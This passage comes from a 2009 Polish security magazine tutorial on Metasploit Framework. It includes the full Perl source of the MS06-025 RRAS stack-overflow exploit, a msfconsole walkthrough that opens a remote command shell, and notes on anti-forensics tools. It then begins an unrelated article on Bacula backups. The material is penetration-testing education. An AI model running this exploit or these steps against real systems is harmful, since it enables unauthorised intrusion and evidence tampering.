testowych. Aby ułatwić szybkie tworzenie modułów i umożliwić ich wielokrotne wykorzystywanie, wszystkie komponenty pisane są w obiektowym języku Perl, wykorzystującym dynamiczne ładowanie. Celem MSF jest umożliwienie ustawiania wartości parametrów definiowanych przez użytkownika i
uruchamiania modułów testujących, tak aby móc kontrolować, w jaki sposób atak jest przeprowadzany.
Budowa Metasploit Framework
Podstawowym elementem Metasploit Framework (MSF) jest DataStore. Cały
Rysunek 1. Interfejs msfconsole w systemie Linux
Rysunek 2. Interfejs msfweb 4/2009 HAKIN9
43
ATAK Listing 1. Wykorzystanie parametrów LPORT i LHOST msf > setg LPORT 1234 LPORT -> 1234 msf > setg LHOST 192.168.10.10 LHOST -> 192.168.10.10 msf > setg PAYLOAD win32_reverse PAYLOAD -> win32_reverse msf > use apache_chunked_win32 msf apache_chunked_win32(win32_reverse) > show options Exploit and Payload Options =========================== Exploit: Name Default Description -------- ------ ------- -----------------optional SSL Use SSL required RHOST The target address required RPORT 80 The target port Payload: Name Default Description -------- -------- ------- -----------------------------------------optional EXITFUNC seh Exit technique: "process", "thread", "seh" required LPORT 123 Local port to receive connection required LHOST 192.168.10.10 Local address to receive connection
system jest logicznie podzielony na globalne elementy i moduły składowania danych. Poniżej wymieniono najważniejsze elementy w pakiecie Metasploit: •
•
•
•
•
•
•
•
Rysunek 3. Strona Metasploit Opcode Database
Lista podstawowych komend Metasploit Framework Lista podstawowych komend Metasploit Framework: • • • • • • • • • • • • •
44
? – wyświetla pomoc z poziomu konsoli, cd – zmiana katalogu roboczego, exit – wyjście z konsoli, help – pomoc dostępna z poziomu konsoli, info – wyświetla szczegóły na temat payloadu lub exploita, quit – wyjście z konsoli, reload – przeładowanie payloadu lub exploita, save – zapisanie konfiguracji na dysku, setg – ustawienia globalne zmiennych środowiskowych, show – wyświetla dostępne exploity i payloady, unsetg – usuwa ustawienia globalnych zmiennych środowiskowych, use – użyj wybranego exploita o określonej nazwie, version – wyświetla informację o wersji.
HAKIN9 4/2009
•
•
msfcli – interfejs poleceń, w któr ym wydawane są komendy wraz z opcjami, msfconsole – shell systemowy MSF (Rysunek 1). Oferuje dopełnianie poleceń (ang. tab completion), msfdldebug – ładuje symbole debugowania dla plików systemu MS Windows, msflogdump – program do analizowania logów generowanych przez MSF, msfencode – testuje moduły kodujące. Dzięki niemu można zrozumieć kodowanie pakietów w MSF, msfpayload – umożliwia testowanie pakietów generowanych przez moduł kodujący, msfpayload.cgi – to samo co powyżej, tyle że w postaci programu CGI, któr y może być wykonywany z poziomu przeglądarki WWW po uprzednim umieszczeniu na serwerze Web, msfpescan – narzędzie do odnajdywania dopasowań opkodów w plikach wykonywalnych Windows PE. Opkody są wykorzystywane jako instrukcje powrotne w czasie przeskakiwania do kodu powłoki, msfupdate – program aktualizacyjny. Pobiera aktualizacje do oprogramowania MSF, łączy się ze stroną projektu przez protokół HTTPS. msfweb – interfejs Metasploit w formie strony WWW, dostępny dla różnych przeglądarek internetowych (Rysunek 2).
Poszczególne katalogi dostępne poprzez interfejs przechowują następujące informacje: •
•
/data – katalog plików związanych z obsługą treści przesyłanej w pakietach, /docs – jak sama nazwa wskazuje, jest to katalog dokumentacji. W tym miejscu znajdziemy informacje na
METASPLOIT FRAMEWORK
Listing 2a. Windows RRAS Stack Overflow (Exploit, MS06-025) ## # This file is part of the Metasploit Framework and may be redistributed # according to the licenses defined in the Authors field below. In the # case of an unknown or missing license, this file defaults to the same # license as the core Framework (dual GPLv2 and Artistic). The latest # version of the Framework can always be obtained from metasploit.com. ## package Msf::Exploit::rras_ms06_025; use base "Msf::Exploit"; use strict; use Pex::DCERPC; use Pex::NDR; my $advanced = { 'FragSize' => [ 256, 'The DCERPC fragment size' ], 'BindEvasion' => [ 0, 'IDS Evasion of the Bind request' ], 'DirectSMB' => [ 0, 'Use direct SMB (445/tcp)' ], }; my $info = { 'Name' => 'Microsoft RRAS MSO6-025 Stack Overflow', 'Version' => '$Revision: 1.1 $', 'Authors' => [ 'Nicolas Pouvesle ', 'H D Moore ' ], 'Arch' => ['x86'], 'OS' => [ 'win32', 'win2000', 'winxp' ], 'Priv' => 1, 'AutoOpts' => { 'EXITFUNC' => 'thread' }, 'UserOpts' => { 'RHOST' => [ 1, 'ADDR', 'The target address' ], # SMB connection options 'SMBUSER' => [ 0, 'DATA', 'The SMB username to connect with', '' ], 'SMBPASS' => [ 0, 'DATA', 'The password for specified SMB username',''], 'SMBDOM' => [ 0, 'DATA', 'The domain for specified SMB username', '' ], 'SMBPIPE' => [ 1, 'DATA', 'The pipe name to use (2000=ROUTER, XP=SRVSVC)', 'ROUTER' ], }, 'Payload' => { 'Space' => 1104, 'BadChars' => "\x00", 'Keys' => ['+ws2ord'], # sub esp, 4097 + inc esp makes stack happy 'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44", }, 'Description' => Pex::Text::Freeform( qq{ This module exploits a stack overflow in the Windows Routing and Remote
Access Service. Since the service is hosted inside svchost.exe, a failed exploit attempt can cause other system services to fail as well. A valid username and password is required to exploit this flaw on Windows 2000. When attacking XP SP1, the SMBPIPE option needs to be set to 'SRVSVC'. } ), 'Refs' => [ [ 'BID', '18325' ], [ 'CVE', '2006-2370' ], [ 'OSVDB', '26437' ], [ 'MSB', 'MS06-025' ] ], 'DefaultTarget' => 0, 'Targets' => [ [ 'Automatic' ], [ 'Windows 2000', 0x7571c1e4 ], # pop/pop/ret [ 'Windows XP SP1', 0x7248d4cc ], # pop/pop/ret ], 'Keys' => ['rras'], 'DisclosureDate' => 'Jun 13 2006', }; sub new { my ($class) = @_; my $self = $class->SUPER::new( { 'Info' => $info, 'Advanced' => $advanced }, @_ ); return ($self); } sub Exploit { my ($self) = @_; my $target_host = $self->GetVar('RHOST'); my $target_port = $self->GetVar('RPORT'); my $target_idx = $self->GetVar('TARGET'); my $shellcode = $self->GetVar('EncodedPayload')->Payload; my $target = $self->Targets->[$target_idx]; my $FragSize = $self->GetVar('FragSize') || 256; my $target = $self->Targets->[$target_idx]; my ( $res, $rpc ); if ( !$self->InitNops(128) ) { $self->PrintLine("[*] Failed to initialize the nop module."); return; } my $pipe = "\\" . $self->GetVar("SMBPIPE"); my $uuid = '20610036-fa22-11cf-9823-00a0c911e5df'; my $version = '1.0'; my $handle = Pex::DCERPC::build_handle( $uuid, $version, 'ncacn_np', $target_host, $pipe ); my $dce = Pex::DCERPC->new( 'handle' => $handle,
4/2009 HAKIN9
45
ATAK temat obsługi inter fejsów i narzędzi MSF, /encoders – zbiór modułów kodujących, które zajmują się obsługą danych w przesyłanych pakietach, /exploits – przechowuje wszystkie testowe moduły ataków, /lib – biblioteki tworzące rdzeń MSF, /extra – mniej potrzebne przy pracy moduły Net-SSL i Term-ReadLine-Gnu Perl, /nops – katalog z modułami, które generują bufory NOP (No Operation), wykorzystywane w atakach do zwiększenia ich „odporności”, /payloads – moduły implementujące różne akcje, które mogą zostać wykonane w czasie ataku,
•
• • •
•
•
•
•
•
/sdk – ten katalog zawiera samouczek omawiający sposoby pisania modułów do nietypowych ataków, /src – tutaj znajdziemy różne przykłady i inne elementy wykorzystywane przez MSF, /tools – zbiór narzędzi Socket Ninja i memdump. Socket Ninja jest multiplekserowym menedżerem gniazd, a program memdump pobiera segmenty pamięci z działających procesów Windows.
MSF konkuruje bezpośrednio z takimi komercyjnymi produktami, jak Immunity's CANVAS lub Core Security Technology's Core Impact. Jednakże istnieje zasadnicza różnica
pomiędzy tymi dwoma grupami pod względem funkcjonalności. Wymienione aplikacje komercyjne pozwalają w przyjazny sposób używać graficznych inter fejsów użytkownika i posiadają szereg rozbudowanych możliwości raportowania. Warto jednak mieć na uwadze, że MSF jest przede wszystkim platformą do wykorzystania i opracowania nowych modułów testujących bezpieczeństwo aplikacji. Ponadto jest również platformą do projektowania narzędzi analitycznych, które umożliwiają badanie i rozwój nowych technik testowania bezpieczeństwa. Dlatego nie posiada tak rozbudowanych graficznych inter fejsów, jak jego komercyjna konkurencja.
Listing 2b. Windows RRAS Stack Overflow (Exploit, MS06-025) 'username' => $self->GetVar('SMBUSER'), 'password' => $self->GetVar('SMBPASS'), 'domain' => $self->GetVar('SMBDOM'), 'fragsize' => $self->GetVar('FragSize'), 'bindevasion' => $self->GetVar('BindEvasion'), 'directsmb' => $self->GetVar('DirectSMB'), ); if ( !$dce ) { $self->PrintLine("[*] Could not bind to $handle"); return; } my $smb = $dce->{'_handles'}{$handle}{'connection'}; if ( $target->[0] =~ /Auto/ ) { if ( $smb->PeerNativeOS eq 'Windows 5.0' ) { $target = $self->Targets->[1]; $self->PrintLine('[*] Detected a Windows 2000 target...'); } elsif ( $smb->PeerNativeOS eq 'Windows 5.1' ) { $target = $self->Targets->[2]; $self->PrintLine('[*] Detected a Windows XP target...'); } else { $self->PrintLine( '[*] No target available : ' . $smb>PeerNativeOS() ); return; } } my $pattern = ''; if ($target->[0] =~ /Windows 2000/) { $pattern = pack( 'V', 1 ) . pack( 'V', 0x49 ) . $shellcode . "\xeb\x06" . Pex::Text::AlphaNumText(2). pack( 'V', $target->[1] ) .
46
HAKIN9 4/2009
"\xe9\xb7\xfb\xff\xff" ; } elsif( $target->[0] =~ /Windows XP/) { $pattern = pack( 'V', 1 ) . pack( 'V', 0x49 ) . Pex::Text::AlphaNumText(0x4c). "\xeb\x06" . Pex::Text::AlphaNumText(2). pack( 'V', $target->[1] ) . $shellcode; } else { self->PrintLine( '[*] No target available...'); return; } # need to produce an exception my $request = $pattern . Pex::Text::AlphaNumText(0x4000 length($pattern)); my $len = length ($request); my $stub = Pex::NDR::Long( int( 0x20000 ) ) . Pex::NDR::Long( int( $len ) ) . $request . Pex::NDR::Long( int( $len ) ); $self->PrintLine("[*] Sending request..."); my @response = $dce->request( $handle, 0x0C, $stub ); if (@response) { $self->PrintLine('[*] RPC server responded with:'); foreach my $line (@response) { $self->PrintLine( '[*] ' . $line ); } $self->PrintLine('[*] This probably means that the system is patched'); } return; }
METASPLOIT FRAMEWORK Ten system pozwala zaoszczędzić czas przeznaczony na rozwój własnych środowisk, które mogą być wykorzystane w testach penetracyjnych. Wspólne opcje mogą być definiowane w globalnym środowisku i automatycznie później wykorzystane za każdym następnym załadowaniem. Poniższy przykład (Listing 1) pokazuje, w jaki sposób można wykorzystać parametry LPORT i LHOST. Projekt Metasploit składa się nie tylko z MSF. Obecnie obejmuje on również komponenty opisane poniżej.
Metasploit Opcode Database Ten webowy interfejs jest prawdopodobnie najbardziej kompleksową bazą dostępnych opcode, pozwala użytkownikowi na wyszukiwanie opkodów z zestawu modułów – na podstawie klas opcode. Obecnie baza danych składa się z ponad 14 mln opcodes, obejmujących 320 różnych typów opcode i 14 systemów operacyjnych. Jest ona dostępna w Internecie pod adresem www.metasploit.com/opcode_ database.html (Rysunek 3). W obecnej wersji w ramach msfopcode zapewniono również dostęp do interfejsu bazy danych w trybie online bezpośrednio z linii poleceń.
Listing 3. Wyszukiwanie nazwy exploita RRAS msf > show exploits Exploits ======== Name Description ---- ----------... windows/smb/ms04_011_lsass Microsoft LSASS Service DsRolerUpgradeDownlevelServer Overflow windows/smb/ms04_031_netdde Microsoft NetDDE Service Overflow windows/smb/ms05_039_pnp Microsoft Plug and Play Service Overflow windows/smb/ms06_025_rasmans_reg Microsoft RRAS Service RASMAN Registry Overflow windows/smb/ms06_025_rras Microsoft RRAS Service Overflow windows/smb/ms06_040_netapi Microsoft Server Service NetpwPathCanonicalize Overflow
Listing 4. Przejście do bezpośredniej obsługi wybranego modułu msf > use windows/smb/ms06_025_rras msf exploit(ms06_025_rras) > Exploity wykorzystują różne opcje. Sprawdzimy jakie opcje powinny być ustawione dla exploita RRAS: msf exploit(ms06_025_rras) > show options Name Current Setting Required Description ---- --------------- -------- ----------RHOST yes The target address RPORT 445 yes Set the SMB service port SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC)
Metasploit Anti-forensics Jest to zbiór narzędzi i dokumentów, które pomogą utrudnić przeprowadzenie w stosunku do zaatakowanego systemu tzw. analizy sądowej. Narzędzia są dopuszczone jako część pakietu Metasploit Anti-Forensic Investigation Arsenal (MAFIA). W skład pakietu wchodzą: •
•
•
Timestomp – narzędzie, które umożliwia analizę oraz modyfikowanie znaczników plików przechowywanych w systemie NTFS, Slacker – narzędzie, które pozwala ukryć dane w niezapełnionym fragmencie bloku (ang. slack space) systemu plików NTFS, Sam Juicer – moduł, który pozwala na odczytanie skrótów haseł z pliku SAM bez jakiejkolwiek ingerencji w dysk twardy (łącznie z odczytem).
Rysunek 4. msfconsole w systemie MS Windows 4/2009 HAKIN9
47
ATAK Listing 5. Przegląd modułów Payloads msf exploit(ms06_025_rras) > show payloads Compatible payloads =================== ... windows/shell_bind_tcp Windows Command Shell, Bind TCP Inline windows/shell_bind_tcp_xpfw Windows Disable Windows ICF, Command Shell, Bind TCP Inline windows/shell_reverse_tcp Windows Command Shell, Reverse TCP Inline ...
Listing 6. Wybór exploita do atakowania zdalnego hosta msf exploit(ms06_025_rras) > set PAYLOAD windows/shell_bind_tcp PAYLOAD => windows/shell_bind_tcp msf exploit(ms06_025_rras) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------RHOST 192.168.1.20 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC) Payload options: Name Current Setting Required Description ---- --------------- -------- ----------EXITFUNC thread yes Exit technique: seh, thread, process LPORT 4444 yes The local port
Listing 7. Sprawdzamy podatne na exploit systemy operacyjne msf exploit(ms06_025_rras) > show targets Exploit targets: Id Name -- ---0 Windows 2000 SP4 1 Windows XP SP1 msf exploit(ms06_025_rras) > set TARGET 1 TARGET => 1 msf exploit(ms06_025_rras) > exploit [*] Started bind handler [-] Exploit failed: Login Failed: The SMB server did not reply to our request
Listing 8. Sprawdzamy informacje na temat możliwości wykorzystania exploita msf exploit(ms06_025_rras) > info Name: Microsoft RRAS Service Overflow Version: 4498 Platform: Windows Privileged: Yes License: Metasploit Framework License Provided by: Nicolas Pouvesle hdm Available targets: Id Name -- ---0 Windows 2000 SP4 1 Windows XP SP1 Basic options: Name Current Setting Required Description ---- --------------- -------- ----------RHOST 192.168.1.20 yes The target address RPORT 445 yes Set the SMB service port SMBPIPE ROUTER yes The pipe name to use (ROUTER, SRVSVC) Payload information: Space: 1104 Avoid: 1 characters
48
HAKIN9 4/2009
Jednym z najciekawszych nowych dodatków do MSF od wersji 3.0 jest moduł Recon. Komponent ten, wspomagany przez Nmap i Nessus, może pomóc w identyfikacji poszczególnych hostów w sieci, uruchomionych usług, otwartych portów i dostępnych wersji. Ponadto dostępne są moduły Recon odpowiedzialne za skanowanie portów i ocenianie słabości skanowanych hostów. Istnieje silna inicjatywa opracowania korelacji silnika, któr y będzie klasyfikował i koordynował informacje otrzymane z modułu Recon z wydarzeniami zachodzącymi w sieci. Na przykład, aby wykorzystywać to w sytuacjach, kiedy automatycznie zostanie wykr yte zagrożenie danego portu w testowanej sieci. Dodatkowo korelacja tego silnika jest realizowana w taki sposób, że informacje na temat stanu sieci mogą być przechowywane w bazie danych. Po zainstalowaniu MSF mamy do dyspozycji trzy środowiska pracy – msfconsole, msfcli i interfejs WWW msfweb. Jednakże podstawowym (i preferowanym) obszarem roboczym MSF jest msfconsole. Jest to wydajny interfejs wiersza poleceń, któr y ma swój własny zestaw komend systemu i środowiska. Został zaprojektowany do uruchamiania w systemach uniksowych, takich jak Linux lub BSD, można go również uruchomić w systemie Windows poprzez środowisko Cygwin. Instalator dla wersji Windows zawiera wstępnie skonfigurowaną wersję Cygwin. Jeżeli uruchomimy konsolę i wszystko zadziała bez problemów, ujrzymy obraz podobny do pokazanego na Rysunku 4. Teraz wszystkie polecenia dla msfconsole są aktywne. Konsola jest bardzo elastyczna, a jeśli użytkownik wprowadzi nieznane polecenia, będą one wyszukiwane w zmiennej środowiskowej PATH i dopasowane dla każdego pliku wykonywalnego. Jeśli zostanie znaleziony pasujący plik, następuje jego wykonanie – podobnie jak standardowego polecenia. Instynktownie wpisując polecenie help, uzyskamy listę dostępnych poleceń, tak jak pokazano na Rysunku 5.
METASPLOIT FRAMEWORK RRAS Stack Overflow (Exploit, MS06-025)
•
Microsoft Windows XP Professional x64 Edition, Microsoft Windows Server 2003 i Microsoft Windows Server 2003 z dodatkiem Service Pack 1 (także w wersji dla komputerów z procesorem Itanium), Microsoft Windows Server 2003 x64 Edition
Istnieje luka w zabezpieczeniach, która daje możliwość zdalnego wywołania kodu w wyniku zaatakowania usługi Routing i zdalny dostęp. Umożliwia to osobie atakującej i wykorzystującej tę lukę na uzyskanie dostępu do systemu. Zagrożone systemy:
•
•
Pełny kod programu wykorzystującego lukę RRAS Stack Overflow obejrzeć można na Listingu 2. Teraz opiszę procedurę, która pozwala wybrać opisany exploit, a
•
Microsoft Windows 2000 Ser vice Pack 4, Microsoft Windows XP Ser vice Pack 1 i Microsoft Windows XP Ser vice Pack 2,
•
następnie go uruchomić. Interesujące nas polecenia, które pozwolą rozpocząć pracę to: show
info use
Inne komendy możemy poznać za pomocą polecenia help. Zaczniemy od znalezienia nazwy dla np. exploita RRAS (Listing 3). Na liście exploitów możemy odnaleźć Windows/smb/ms06_025_rras. Możemy go wybrać przy pomocy komendy use i następnie przejść do trybu bezpośredniej obsługi wybranego modułu – odpowiednie polecenia pokazane są na Listingu 4. Exploit wymaga podania adresu atakowanego celu i numeru portu SMB (ang. Server Message Block), który wykorzystywany jest do nasłuchu. Ustawimy cel ataku i podamy jego adres IP: msf exploit(ms06_025_rras) > set
RHOST 192.168.1.20
RHOST => 192.168.1.20
Składnia ustawień wygląda następująco: Set
Rysunek 5. msfconsole i polecenie help
W przykładzie użyjemy modułu, któr y otwiera polecenie powłoki i nasłuchuje na określonym porcie TCP. Przejrzymy teraz (Listing 5) dostępne sposoby zaatakowania ofiar y przy
Rysunek 6. Instalator MSF w systemie MS Windows 4/2009 HAKIN9
49
ATAK pomocy poszczególnych ładunków (ang. payloads) złośliwego kodu. Na Listingu widoczne są trzy moduły, z któr ych każdy może być używany do
załadowania wbudowanej komendy powłoki. Użycie słowa inline oznacza tutaj polecenie powłoki, która jest ustawiona w tr yb roundtrip.
Listing 9. Sprawdzamy, czy ROUTER jest narażony na zdalny atak msf exploit(ms06_025_rras) > show auxiliary Name Description ---- ----------admin/backupexec/dump Veritas Backup Exec Windows Remote File Access admin/backupexec/registry Veritas Backup Exec Server Registry Access dos/freebsd/nfsd/nfsd_mount FreeBSD Remote NFS RPC Request Denial of Service dos/solaris/lpd/cascade_delete Solaris LPD Arbitrary File Delete dos/windows/nat/nat_helper Microsoft Windows NAT Helper Denial of Service dos/windows/smb/ms05_047_pnp Microsoft Plug and Play Service Registry Overflow dos/windows/smb/ms06_035_mailslot Microsoft SRV.SYS Mailslot Write Corruption dos/windows/smb/ms06_063_trans Microsoft SRV.SYS Pipe Transaction No Null dos/windows/smb/rras_vls_null_deref Microsoft RRAS InterfaceAdjustVLSPointers NULL Dereference dos/wireless/daringphucball Apple Airport 802.11 Probe Response Kernel Memory Corruption dos/wireless/fakeap Wireless Fake Access Point Beacon Flood dos/wireless/fuzz_beacon Wireless Beacon Frame Fuzzer dos/wireless/fuzz_proberesp Wireless Probe Response Frame Fuzzer dos/wireless/netgear_ma521_rates NetGear MA521 Wireless Driver Long Rates Overflow dos/wireless/netgear_wg311pci NetGear WG311v1 Wireless Driver Long SSID Overflow dos/wireless/probe_resp_null_ssid Multiple Wireless Vendor NULL SSID Probe Response dos/wireless/wifun Wireless Test Module recon_passive Simple Recon Module Tester scanner/discovery/sweep_udp UDP Service Sweeper scanner/mssql/mssql_login MSSQL Login Utility scanner/mssql/mssql_ping MSSQL Ping Utility scanner/scanner_batch Simple Recon Module Tester scanner/scanner_host Simple Recon Module Tester scanner/scanner_range Simple Recon Module Tester scanner/smb/pipe_auditor SMB Session Pipe Auditor scanner/smb/pipe_dcerpc_auditor SMB Session Pipe DCERPC Auditor scanner/smb/version SMB Version Detection test Simple Auxiliary Module Tester test_pcap Simple Network Capture Tester voip/sip_invite_spoof SIP Invite Spoof
Kolejną czynnością będzie wybór exploita, przy którego pomocy zaatakujemy zdalny host. Sprawdzimy też dostępne opcje (Listing 6). Exploit jest już skonfigurowany. Teraz musimy zdefiniować rodzaj atakowanego systemu. Metasploit wykorzystuje pewne uniwersalne typy, dzięki czemu praca na wszystkich platformach systemowych jest podobna. Listing 7. pokazuje, w jaki sposób sprawdzić podatne na exploit systemy operacyjne. Windows XP z dodatkiem SP1, zgodnie z Microsoft Security Bulletin, jest dość podatny na wspomniany atak. Przyjrzyjmy się bliżej, jak to wykorzystać (Listing 8). Opis exploita wskazuje, że w przypadku XP z SP1, w SMBPIPE opcja musi być ustawiona na SRVSVC. Metasploit w wersji 3 dodaje kilka modułów pomocniczych, z których jeden jest narzędziem do obsługi potoków. Użyjemy go do tego, by sprawdzić czy ROUTER jest narażony na zdalny atak (Listing 9). Teraz przyszła kolej na sprawdzenie narażonych na atak potoków w systemie Windows XP. Niezbędne polecenia i ich wyniki przedstawia Listing 10. Zajmiemy się potokiem SRVSVC. Niestety zadziała tylko w przypadku wyłączonej ściany ogniowej (Listing 11). Połączenie zadziałało, możemy sprawdzić to za pomocą netstat: C:\tools>netstat -an | findstr .20 | findstr ESTAB
TCP 192.168.1.13:3999 192.168.1.20: 4444 ESTABLISHED
Podsumowanie Główne cechy MSF: •
Listing 10. Sprawdzamy potoki w systemie Windows XP msf exploit(ms06_025_rras) > use scanner/smb/pipe_auditor msf auxiliary(pipe_auditor) > show options Module options: Name Current Setting Required Description ---- --------------- -------- ----------RHOSTS yes The target address range or CIDR identifier msf auxiliary(pipe_auditor) > set RHOSTS 192.168.1.20 RHOSTS => 192.168.1.20 msf auxiliary(pipe_auditor) > exploit [*] Pipes: \netlogon, \lsarpc, \samr, \epmapper, \srvsvc, \wkssvc [*] Auxiliary module execution completed
50
HAKIN9 4/2009
• •
•
•
jest napisany przede wszystkim w Perlu (niektóre części w Pythonie i C), co oznacza możliwość szybkiego rozwoju wtyczek, łatwa i szybka instalacja pakietu MSF, wsparcie dla zewnętrznych narzędzi, bibliotek i funkcji, takich jak np. debugowanie, kodowanie, SSL, zrozumiałe, intuicyjne, modułowe i rozszerzalne API dla środowiska programistycznego, jest wysoce zoptymalizowany pod różne środowiska systemowe, ma budowę modułową,
METASPLOIT FRAMEWORK •
•
•
•
rozszerzona obsługa i dobre wsparcie, które naprawdę pozwalają skrócić czas wykorzystania kodu do własnych potrzeb, wsparcie dla różnych protokołów sieciowych i opcji, które mogą być wykorzystane do opracowania własnych elementów, projekt oparty na Open Source, posiada dedykowane wsparcie dla tej społeczności deweloperów, wsparcie dla zaawansowanych funkcji i narzędzi, takich jak InlineEgg, UploadExec i chainable proxy.
Oprogramowanie czasami działa nieprawidłowo ze względu na zawarte w nim błędy. Niektórzy twierdzą, iż awarie są czymś regularnym, ponieważ tworzenie oprogramowania jest pracą całkowicie logiczną, nie istnieją w niej żadne wewnętrzne nieokreśloności. Jeżeli więc dostatecznie dobrze znamy dane wejściowe, zachowanie się programu powinno być całkowicie zdeterminowane. Produkty takie jak platforma Metasploit mogą posłużyć do testowania ataków. Wykorzystywane są głównie przez administratorów czy oficerów bezpieczeństwa, którzy chcą sprawdzić poziom bezpieczeństwa swoich systemów lub aplikacji. Oczywiście tak samo często z tego zestawu korzystają audytorzy systemów informatycznych oraz hakerzy, którzy przy pomocy takich właśnie narzędzi w dużej mierze zdobywają wiedzę i testują podatności analizowanych systemów na pewne działania. *Opcode – czyli kod operacji, jest to liczba, będąca fragmentem rozkazu przekazywanego do wykonania do procesora, która informuje, jaka operacja ma zostać wykonania (źródło: Wikipedia). Strzeżcie się wilka! – rzekła mama koza. – Jeśli się tu wedrze, to zje was w całości wraz ze skórą i kopytkami. Umie on dobrze udawać, ale poznacie go od razu po grubym głosie i czarnych łapach. (z bajki braci Grimm O wilku i siedmiu koźlątkach) Pełna najlepszych chęci koza próbowała chronić swoje dzieci, posługując się strategią kontroli dostępu:
nie wpuszczaj do domu nikogo, kto nie ma miłego głosu i białych łap. Metoda ta jest dość skuteczna, gdyż bazuje na wer yfikacji fizycznych cech uprawnionych użytkowników. W bajce tragicznym niedopatrzeniem była zbyt mała liczba podanych cech. Łatwo jest odróżnić kozę od wilka, jeśli widzi się całą postać, ale koźlętom kazano sprawdzić tylko kolor łap i głos. Komputer y przekazują dużo cennych informacji, które są niezmiernie łakomym kąskiem dla przestępców. Jednak ludzie pragnący zabezpieczyć swoje dane wydają się jeszcze bardziej naiwni od koźlątek, gdy starają się odróżniać uczciwego od oszusta tylko na podstawie ciągów symboli dostarczanych do systemów informatycznych. Wytworzenie idealnego oprogramowania wciąż pozostaje marzeniem. Pomimo r ygor ystycznego i systematycznego testowania większość dużych programów zawiera nieusunięte defekty od chwili, w której zaczynamy je testować. Tak jak było to już wspomniane, przyczyną tego zjawiska jest złożoność kodów źródłowych. W dodatku, poza mimowolnie wprowadzonymi do programu błędami, zawierają one różnego rodzaju
uproszczenia będące skutkiem kompromisu, które mogą wywołać niemożliwe do akceptacji zachowanie się systemu czy aplikacji. Problem oszacowania bezpieczeństwa jest bardzo poważny. By mieć zaufanie do wyników, musimy wypróbować program w sytuacjach, które mogą zaistnieć w rzeczywistości. Konstruując odpowiednie środowisko testowe (np. MSF), musimy być pewni, że przewidzieliśmy wszelkie sytuacje, które napotka program. Należy więc zawsze zachować sceptycyzm przy ocenie wiarygodności testu i – w konsekwencji – dokładności jego rezultatów. Jeżeli ktoś przekonuje nas o wyjątkowej niezawodności i bezpieczeństwie pojedynczego programu, możemy mu zarzucić po prostu brak dostatecznej wiedzy. W przypadku złożonych programów przykrą prawdą jest fakt ograniczonego zaufania, na które można sobie w stosunku do nich pozwolić. Sama obserwacja programu nie daje gwarancji jego poprawnego zachowania się w przyszłości. Uwzględniając złożoność obecnego oprogramowania, pozostaje nam podchodzić do niego z dużą dawką sceptycyzmu.
Listing 11. Sprawdzamy exploit na potoku SRVSVC msf auxiliary(pipe_auditor) > use windows/smb/ms06_025_rras msf exploit(ms06_025_rras) > set SMBPIPE SRVSVC SMBPIPE => SRVSVC msf exploit(ms06_025_rras) > exploit [*] Started bind handler [*] Binding to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_ np:192.168.1.20[\SRVSVC] ... [*] Bound to 20610036-fa22-11cf-9823-00a0c911e5df:1.0@ncacn_ np:192.168.1.20[\SRVSVC] ... [*] Getting OS... [*] Calling the vulnerable function on Windows XP... [*] Command shell session 1 opened (192.168.1.13:2347 -> 192.168.1.20:4444) Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\Windows\system32>
Grzegorz Gałęzowski
Autor jest informatykiem, członkiem zespołu naukowego do opracowania, przygotowania i wdrożenia w archiwach państwowych Zintegrowanego Systemu Informacji Archiwalnej, który jest pierwszym systemem informatycznym, tworzonym przez administrację rządową w Polsce, opartym w całości na tzw. „otwartym oprogramowaniu”. Autor zajmuje się Linuksem od ponad 12 lat. Hobby informatyczne to systemy IBM z/OS, OS/400, AIX i SAP R/3. Kontakt z autorem: [email protected] 4/2009 HAKIN9
51
OBRONA System kopii zapasowych Bacula
MARCIN KLAMRA
Stopień trudności
Wykonywanie kopii zapasowych jest operacją niezbędną w każdym środowisku, w którym przetwarza się dane. Proces wykonywania kopii zapasowych jest monotonny i powinien być wykonywany automatycznie. Spełnienie tego warunku wymaga posiadania stosownego sprzętu i oprogramowania.
Z
Z ARTYKUŁU DOWIESZ SIĘ jak skonfigurować system kopii zapasowych Bacula do centralnego wykonywania kopii zapasowych heterogenicznego środowiska, w jaki sposób przy niewielkim nakładzie pracy zapewnić sobie wykonywanie kopii zapasowych cennych danych stacji roboczej.
CO POWINIENEŚ WIEDZIEĆ czym jest kopia zapasowa, jaki sprzęt jest wykorzystywany do wykonywania kopii zapasowych, znać strategie rotacji nośników, znać podstawy konfiguracji systemów Windows oraz Linux. 52
HAKIN9 4/2009
anim zostanie zaprezentowana filozofia działania oraz konkretne przykłady konfiguracji systemu Bacula, warto zastanowić się nad kilkoma podstawowymi kwestiami. Przede wszystkim – czym jest kopia zapasowa (backup) i czym różni się ona od archiwizacji? Kopia zapasowa jest kopią danych, która ma służyć do ich odtworzenia w przypadku utraty lub uszkodzenia danych oryginalnych. Archiwizacja z kolei jest procesem tworzenia kopii zapasowych danych w celu ich przechowywania przez dłuższy czas (np. kilka lat). Chęć (bądź konieczność) wykonywania kopii archiwalnych wynikać może między innymi z potrzeby składowania danych dla celów własnej ich analizy w przyszłości lub z obowiązku nałożonego przez przepisy prawa. Oprócz tego archiwizacja wykonywana jest również wtedy, gdy oryginalne dane nie są aktualnie potrzebne do pracy, a zajmowana przez nie przestrzeń dyskowa może zostać wykorzystana do przechowywania innych danych. Oczywiście pojawia się pytanie, po co wykonywać kopie zapasowe danych albo raczej: w jakich sytuacjach kopia zapasowa może okazać się przydatna? Odpowiedź na to pytanie jest bardzo prosta, szczególnie dla osób, którym przytrafiła się utrata danych. Jedną z najczęstszych sytuacji, w których konieczne jest odzyskanie danych z kopii zapasowej, jest błąd człowieka, czyli przypadkowe usunięcie istotnych danych. Często dane są celowo usuwane przez użytkownika. Kolejne sytuacje motywujące do
